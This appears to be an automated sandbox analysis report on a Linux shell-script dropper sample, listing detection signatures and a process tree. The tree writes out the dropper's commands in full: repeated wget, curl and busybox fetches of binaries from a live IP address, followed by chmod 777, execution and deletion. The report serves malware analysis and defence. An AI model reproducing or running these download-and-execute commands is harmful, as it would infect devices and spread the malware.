562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f

Analysis

max time kernel
131s
max time network
136s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/10/2024, 02:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
Size 10KB
Sample241029-cs1lassfld
SHA256 562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f
MD5 acfd990132153f5d7902470c82acca9a
SHA1 7f8aa0bf8dc9d7ccdf0928b8f63a0c345ec543ed
SHA512 acefdada157ff51e7b00f84aa0236f875bce14317a9dfb33a1b926d32392f229819ec9c5d7ba296a2b9bb345fafacd7a223bf26c7160ece7e0e145f95a8dc8bd
SSDEEP 192:W+G9o0jeksB4EvCKVzU5g91y/rkjHksB4Ed7qo91y/rs0+G9o0U:qeksB4EvCKVzU5ijHksB4Ed7qeR
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
885	chmod
915	chmod
819	chmod
891	chmod
933	chmod
963	chmod
796	chmod
909	chmod
927	chmod
897	chmod
747	chmod
873	chmod
945	chmod
739	chmod
776	chmod
825	chmod
951	chmod
753	chmod
921	chmod
939	chmod
969	chmod
975	chmod
981	chmod
839	chmod
903	chmod
879	chmod
957	chmod
860	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	curl
File opened for modification	/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	curl
File opened for modification	/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	curl
File opened for modification	/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	curl
File opened for modification	/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	curl
File opened for modification	/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	curl
File opened for modification	/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	curl
File opened for modification	/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	curl
File opened for modification	/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	curl
File opened for modification	/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	curl
File opened for modification	/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	curl
File opened for modification	/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	curl
File opened for modification	/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	curl
File opened for modification	/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	curl
File opened for modification	/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	curl
File opened for modification	/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	curl
File opened for modification	/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	curl
File opened for modification	/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	curl
File opened for modification	/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	curl
File opened for modification	/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	curl
File opened for modification	/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	curl
File opened for modification	/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	curl
File opened for modification	/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	curl
File opened for modification	/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	curl
File opened for modification	/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	curl
File opened for modification	/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	curl
File opened for modification	/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	curl
File opened for modification	/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	curl

/tmp/562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
/tmp/562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:717
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:736
- /bin/chmod
  chmod 777 b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  ./b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:746
- /bin/chmod
  chmod 777 V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  ./V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:749
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:752
- /bin/chmod
  chmod 777 Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  ./Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:757
- /usr/bin/wget
  wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:773
- /bin/chmod
  chmod 777 BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  ./BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Executes dropped EXE
  PID:777
- /bin/rm
  rm BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:779
- /usr/bin/wget
  wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:792
- /bin/chmod
  chmod 777 HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  ./HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Executes dropped EXE
  PID:797
- /bin/rm
  rm HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:801
- /usr/bin/wget
  wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:818
- /bin/chmod
  chmod 777 R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  ./R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:821
- /usr/bin/wget
  wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:824
- /bin/chmod
  chmod 777 NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  ./NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:827
- /usr/bin/wget
  wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:835
- /bin/chmod
  chmod 777 LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  ./LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:842
- /usr/bin/wget
  wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:843
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:856
- /bin/chmod
  chmod 777 yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  ./yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:864
- /usr/bin/wget
  wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:872
- /bin/chmod
  chmod 777 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  ./5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:875
- /usr/bin/wget
  wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:878
- /bin/chmod
  chmod 777 GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  ./GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:881
- /usr/bin/wget
  wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:884
- /bin/chmod
  chmod 777 pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  ./pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:887
- /usr/bin/wget
  wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:890
- /bin/chmod
  chmod 777 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  ./4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:893
- /usr/bin/wget
  wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:896
- /bin/chmod
  chmod 777 NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  ./NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:899
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:902
- /bin/chmod
  chmod 777 Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  ./Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:905
- /usr/bin/wget
  wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:908
- /bin/chmod
  chmod 777 BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  ./BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:911
- /usr/bin/wget
  wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:912
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:914
- /bin/chmod
  chmod 777 HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  ./HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:917
- /usr/bin/wget
  wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:920
- /bin/chmod
  chmod 777 R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  ./R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:923
- /usr/bin/wget
  wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:926
- /bin/chmod
  chmod 777 NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  ./NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:929
- /usr/bin/wget
  wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:932
- /bin/chmod
  chmod 777 LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  ./LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:935
- /usr/bin/wget
  wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:938
- /bin/chmod
  chmod 777 yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  ./yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:941
- /usr/bin/wget
  wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:944
- /bin/chmod
  chmod 777 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  ./5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:947
- /usr/bin/wget
  wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:950
- /bin/chmod
  chmod 777 GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  ./GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:953
- /usr/bin/wget
  wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:956
- /bin/chmod
  chmod 777 pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  ./pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:959
- /usr/bin/wget
  wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:962
- /bin/chmod
  chmod 777 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
